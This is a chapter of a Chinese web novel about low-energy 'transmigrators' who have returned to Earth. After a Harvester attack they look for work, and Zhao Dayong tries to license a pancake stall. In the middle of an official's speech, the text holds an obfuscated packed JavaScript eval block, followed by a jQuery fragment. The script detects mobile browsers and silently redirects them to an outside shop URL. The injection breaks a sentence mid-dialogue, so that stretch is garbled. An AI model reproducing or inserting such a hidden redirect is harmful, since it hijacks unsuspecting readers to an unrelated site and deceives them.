收割者袭击后的第三天，世界变了。
不是那种翻天覆地的变——城市还在，楼房还在，街道上的车还在跑。但有一种更深的、看不见的变化，像水渗进沙子一样，渗进了每个人的生活。
电视新闻不再播放了。不是被禁了，是没人播了。电视台的员工也是人，也要逃命。最后一条新闻是二十四小时前播的，一个面色苍白的主播用颤抖的声音说：“请所有市民尽量留在室内，关闭门窗，等待进一步通知。”然后画面就没了，变成了一片雪花。
网络还在，但信号断断续续。社交媒体上充斥着各种消息——真的假的混在一起，分不清。有人说收割者已经占领了三个城市，有人说军方已经研发出了对抗武器，有人说世界末日到了，有人说末日没到但快了。
手机时不时能收到政府的应急短信，内容大同小异：“请穿越者前往就近安置中心避险。非穿越者请勿恐慌，保持正常生活秩序。”
保持正常生活秩序。
赵大勇看着这条短信，觉得可笑。天上是红色的裂缝，街上的人是恐慌的，超市的货架被抢空了，你让人保持正常生活秩序？
但他也知道，除了“保持正常”，没有别的办法。恐慌解决不了问题，抢购解决不了问题，哭也解决不了问题。
所以他决定：继续办他的煎饼证。
“你疯了？”李翠芬听到他的决定，难得地提高了声音，“天上有个洞，里面随时可能钻出怪物来，你还要去□□？”
“天上那个洞已经三天了，怪物没出来。”赵大勇说，“但我们已经三天没收入了。”
这是事实。收割者袭击后，李翠芬的超市关门了，老板不知道跑哪去了，电话打不通。程子轩的物流公司也停了，仓库被收割者路过时掀翻了屋顶，短期内恢复不了。顾飞飞的在线客服倒是还能做——只要网络不断——但她刚入职，还没发工资。
五个人，又回到了原点。
不，比原点更差。原点的时候，至少天上是蓝的，没有红色的裂缝。
“程子轩，你怎么看？”赵大勇问。
程子轩正坐在次卧的床上，面前摊着笔记本。他抬起头，眼镜片上映着窗外红色的光。“根据林雅提供的数据，收割者的攻击周期大约是七十二小时。第一次攻击后，如果目标区域的能量采集量不足，它们会在七十二小时后发动第二次攻击。今天刚好是第三天。”
所有人都沉默了。
“所以它们今天可能还会来？”王桂兰的声音很小。
“可能，但不是必然。第一次攻击采集的能量足够它们消化一段时间。如果它们判断这个区域的能量密度不高，可能会转向其他目标。”
“能量密度不高，”赵大勇苦笑了一下，“就是嫌弃我们能量值太低，不值得吃。”
“可以这么理解。”
赵大勇站起来，走到阳台上，看着天上的红色裂缝。裂缝比三天前大了，边缘的闪电更密集了，但确实没有新的收割者出来。也许程子轩说得对，它们去别的地方了。去那些有高能量穿越者的地方。
他想起老周说的“低能量的反而安全”，没想到“安全”的代价是“被遗忘”。
不被收割者记住，不被政府重视，不被社会需要。
被遗忘的人。
“我还是要去□□。”赵大勇转过身，对屋里的人说，“不是因为我不怕，是因为我除了□□，不知道还能干什么。天上的洞我堵不上，收割者我打不过。但煎饼我会摊。太阳升起来的时候，人要吃早饭。这个道理，不管天上有没有洞，都成立。”
李翠芬看着他，沉默了很久，然后拿起了扫帚：“我跟你去。”
“你去干什么？”
“你办你的证，我扫我的地。超市关门了，但我可以扫小区。总有人需要干净的地面。”
程子轩合上笔记本：“我去物流公司看看。仓库的屋顶虽然掀了，但货还在。也许可以帮忙整理。”
顾飞飞从帘子后面探出头：“我在家，网上接单。”
王桂兰举起手：“我在家念经，给你们祈福。”
五个人，各司其职。像一台简陋的机器，零件不匹配，润滑油不够，但还在转。
赵大勇和李翠芬走出小区的时候，看到街上的景象跟三天前完全不同。
三天前，街上全是人，恐慌的、奔跑的、哭泣的人。今天，街上也全是人，但不是恐慌的人——是正常生活的人。
卖早餐的摊贩还在营业，包子铺的蒸笼冒着热气，豆浆机的嗡嗡声从店里传出来。上班族拎着公文包等公交，学生背着书包走在人行道上，老人在小区门口打太极。
一切看起来都很正常。
但赵大勇注意到，每个人都会时不时地抬头看一眼天上的红色裂缝。看一眼，然后低下头，继续做自己的事。不是不害怕，是不敢一直害怕。
“你看，”赵大勇对李翠芬说，“他们还在吃早饭。”
李翠芬没有说话，但她握紧了扫帚。
市场监督管理局的办事大厅比上次来的时候冷清了很多。大部分窗口都关了，只有一个窗口还亮着灯。窗口里面坐着一个年轻女人，不是上次那个，是新人。她的桌上放着一个收音机，正在播放应急广播，声音很小，但能听清：“……请市民不要恐慌，军方已在各主要城市部署防御系统……”
赵大勇把材料递进去。临时身份证、再就业中心注册证明、能力评估报告、健康证——他终于在三天前排到了医院的长队，做了体检，拿到了健康证。
年轻女人翻了翻材料，看了看天上的裂缝（透过窗户能看到），又看了看赵大勇。
“你这个时候还要办煎饼证？”
“这个时候更要办。”赵大勇说，“万一世界没完，我总得有个营生。”
年轻女人看着他，眼神复杂。她低头在电脑上敲了几个字，又抬起头：“你的材料不全。”
“哪里不全？”
“经营场所证明，你没有提供经营场所的租赁合同或产权证明。”
赵大勇愣了一下，他忘了这个。上次城管局的人说穿越者申请临时摊位可以免经营场所证明，但那是临时摊位，不是食品经营许可证。□□需要固定经营场所。
“我没有店面。”
“那你打算在哪里卖煎饼？”
“路口，小区门口的路口。”
“路口不是固定经营场所，你需要租赁一个店面，或者申请临时摊位的占道许可。临时摊位的许可在城管局办，不在我们这儿。”
赵大勇深吸一口气，他又要重新跑一遍。从城管局开始，然后再回来。
“好，我去城管局。”
他转身要走，年轻女人叫住他。
“等一下，城管局今天可能不开门。昨天那边附近有收割者出没，工作人员都疏散了。你最好先打个电话问问。”
赵大勇走出办事大厅，站在台阶上，拿出手机。手机没有信号，不是断网，是信号塔可能被破坏了。他试着拨了城管局的电话，打不通。
他站在台阶上，看着天上的红色裂缝。
“又没办成？”李翠芬在台阶下面等他。
“要店面，没有店面办不了。”
“那怎么办？”
赵大勇想了想：“先回去，再想办法。”
他们往回走。路过小区门口的路口时，赵大勇停下来，看了看那个位置。公交站，早高峰人很多，旁边是包子铺，生意很好。他的煎饼摊如果放在这里，应该也不错。
但现在不能放。
因为没有证。
没有证就不能卖，不能卖就没有收入，没有收入就活不下去。活不下去——在收割者来不来之前，先得饿死。
他站在路口，看着来来往往的人，突然笑了。
“你笑什么？”李翠芬问。
“我在想，在艾尔德拉大陆，我从来没有想过要□□。想卖煎饼，支个摊子就卖了。矮人王吃了我的煎饼，说好吃，然后告诉我，在这里卖煎饼不需要证，只需要保证好吃。不好吃，矮人王的战锤会找你谈话。”
“在地球上，不好吃不会找你谈话。但没证会。”
“对，没证会罚款，五千到一万。”
李翠芬也笑了，不是苦笑，是真的觉得好笑：“这个世界真有意思。”
他们走回公寓的时候，看到楼下停着一辆黑色的SUV。车上下来两个人，一男一女，都穿着黑色西装，戴着墨镜，像电影里的特工。
“赵大勇？”男人问。
“是我。”
“我们是归途计划总部的工作人员，能上去谈谈吗？”
五个人坐在客厅里，沙发缺腿的那一边垫了一摞旧报纸，勉强平衡。李翠芬把扫帚靠在墙边，坐在赵大勇旁边。程子轩坐在餐桌前，笔记本摊开。顾飞飞没有出来，但帘子后面有动静。王桂兰坐在阳台门口，手里攥着扫帚，像攥着一根拐杖。
两个黑衣人坐在缺了腿的沙发上，表情严肃。女人从公文包里拿出一份文件，放在茶几上。
“我是陈思，他是王磊。我们是归途计划总部的风险评估专员。”女人的声音很平，像在念稿子，“我们这次来，是对低能量穿越者的生存状况做一次抽样调查。你们被选中了。”
“选中了？”赵大勇问，“什么意思？”
“就是随机抽到你们了。”男人说，他的声音比女人粗，但语气更随意，“别紧张，不是什么坏事。就是问问你们的情况，填个表，交上去。”
陈思打开文件，拿出一张表格。“先问基本信息。赵大勇，穿越前身份，哲学系研究生？”
“不是，是农民，1976年穿越的。表格上写错了。”
陈思在表格上划掉一行，重新写：“穿越后身份？”
“艾尔德拉大陆北境煎饼商贩。”
“能量等级？”
“E-，能量值3。”
陈思的笔顿了一下，抬起头看了他一眼。3，她大概从没见过这么低的能量值。
“李翠芬。穿越前身份，工厂女工。穿越后身份，天衍宗杂役弟子。能量等级？”
“不知道，没测过，但估计跟赵大勇差不多。”
“程子轩。穿越前身份，量子物理博士生。穿越后身份，星际联邦后勤部标签科员工。能量等级？”
“E，能量值4。”
“顾飞飞呢？”陈思看向帘子。
帘子动了一下，顾飞飞的声音从里面传出来，很小：“深渊客服，能量值……大概也是E。”
“王桂兰。穿越前身份，农民。穿越后身份，法师塔清洁工。能量等级？”
“不知道，”老太太说，“但我在法师塔待了六十年，连个最低级的清洁咒都学不会。应该很低。”
陈思写完了，放下笔，看着这五个人。
“你们知道吗，在全球所有被召回的穿越者中，能量值最低的一百个人，你们占了五个。”
“我们很荣幸。”赵大勇说。
“不是荣幸，”王磊说，“是危险。能量值越低，越容易被忽视。被归途计划忽视，被政府忽视，被社会忽视。你们没有工作，没有收入，没有社会保障。如果收割者不来，你们会饿死。如果
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509430|202934||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
收割者来了，你们会被遗忘。”
客厅里安静了。
“所以你们来干什么？”李翠芬问，“来告诉我们我们很惨？”
“不是，”陈思说，“我们来告诉你们，归途计划总部有一个新项目。专门针对低能量穿越者的再就业培训。培训结束后，会推荐你们去合作企业工作。有社保，有最低工资保障。”
“什么培训？”
“职业培训。保洁、物流、客服、餐饮。你们的能力刚好匹配。”
赵大勇看了看李翠芬，看了看程子轩，看了看帘子后面。
“要钱吗？”
“免费，政府补贴。”
“什么时候开始？”
“下周一，地点在再就业中心四楼。”
陈思和王磊走了之后，五个人坐在客厅里，沉默了很久。
“所以，”王桂兰第一个开口，“我们不是完全被忘了？”
“不是完全。”李翠芬说，“但他们来找我们，不是因为关心我们，是因为上面有指标。低能量穿越者的再就业率太低，影响他们的考核。”
“你怎么知道？”赵大勇问。
“我在宗门扫了五十年地，宗门每年都有考核。杂役弟子的存活率、满意度、工作效率，都要上报。上面的人不在乎杂役弟子活得好不好，但在乎数字好不好看。”
赵大勇想了想，觉得有道理。
“但不管怎么说，有培训总比没培训好。”他说，“下周一，都去。”
“我去不了，”顾飞飞的声音从帘子后面传出来，“培训要跟人打交道。我……”
“顾飞飞，”赵大勇打断她，“你上次面试的时候说‘我再想想’，你想了没有？”
帘子后面沉默了。
“想了。”过了很久，顾飞飞的声音才响起来。
“想的结果呢？”
“我……可以去试试。”
赵大勇没有追问。他站起来，走进厨房，开始做晚饭。
冰箱里的东西不多了，半棵白菜，三个鸡蛋，一小袋面粉，半瓶酱油。他用面粉做了面条，白菜切丝，鸡蛋打散，做了一锅白菜鸡蛋面。
面条端上桌的时候，热气腾腾的。五个人一人一碗，围坐在缺腿的沙发周围——沙发的缺腿处垫了旧报纸，稳多了。
“好吃。”王桂兰吸溜了一口面条，眯起眼睛。
“面不够筋道，”赵大勇说，“地球的面粉还是不行，没有霜麦的韧性。”
“但你已经做得很好了。”李翠芬说。
赵大勇看了看碗里的面条，又看了看埋头吃面的四个人。
他想起了矮人王，想起了精灵王，想起了艾尔德拉大陆的黄金煎饼车，想起了那个他生活了四十年的世界。
那些都回不去了。
但眼前这碗面，是真的。这四个人，是真的。
他低下头，开始吃面。
吃完面，赵大勇去阳台抽烟。烟抽完了，最后一根昨天就抽完了。他站在阳台上，嘴里没烟，手没地方放，就插在口袋里。
口袋里有一样东西。他摸出来，是那张创业贷款宣传单，已经皱得不成样子了。
他看着宣传单上的字：“穿越者创业扶持贷款，最高五万元，三年免息。”
五万块。
一个早餐店。
他想起老周说的“你们为什么不合伙干点什么”。
他想起程子轩算的账：每天营业额五百，月利润七千五。
他想起李翠芬说的“开”。
他把宣传单叠好，放回口袋。
天上的红色裂缝还在。边缘的闪电在跳动，像心脏的搏动。
但他不再盯着它看了。
他转过身，走回客厅。
“下周一，培训。”他说，“培训完了，我们开店。”
没有人反对。
那天晚上，赵大勇做了一个梦。他梦见早餐店开起来了，店面不大，十平米，在小区门口的路口。招牌是他自己写的——“赵大勇煎饼”，四个字歪歪扭扭，但能看懂。
李翠芬在扫地，把店门口的地面扫得干干净净。程子轩在算账，用他的笔记本记录每一笔收入和支出。顾飞飞在电脑上接外卖单，手指敲得飞快。王桂兰坐在门口，对每一个路过的客人笑。
他在摊煎饼。面糊浇上鏊子，竹刮子推开，鸡蛋磕上去，金黄色的蛋液流淌。
“您的煎饼，小心烫。”
他递出去。
对方接过去。
他抬起头，看到对方的脸上有泪痕。
不是矮人王，不是精灵王。是一个普通的、他不认识的人。但那个人看着他，眼睛里有一种光。
不是希望的光。
是“还有人记得我”的光。
赵大勇醒了。
窗外天还没亮，但红色的光透过窗帘，把整个房间染成了暗红色。
他坐起来，穿上鞋，走出卧室。
客厅里，李翠芬已经开始扫地了。她的扫帚在地上画着圈，一圈一圈，从里往外，从外往里，把气韵理顺。
“早。”赵大勇说。
“早。”李翠芬说。
“今天去培训。”
“去。”
“培训完了，开店。”
“开。”
赵大勇走进厨房，打开冰箱。冰箱里只剩一个鸡蛋、一小把葱、半袋面粉。
他拿出面粉，和面，揉面，醒面。
他要做煎饼。
不是为了卖，是为了练手。
手不能生。手生了，就真的什么都做不了了。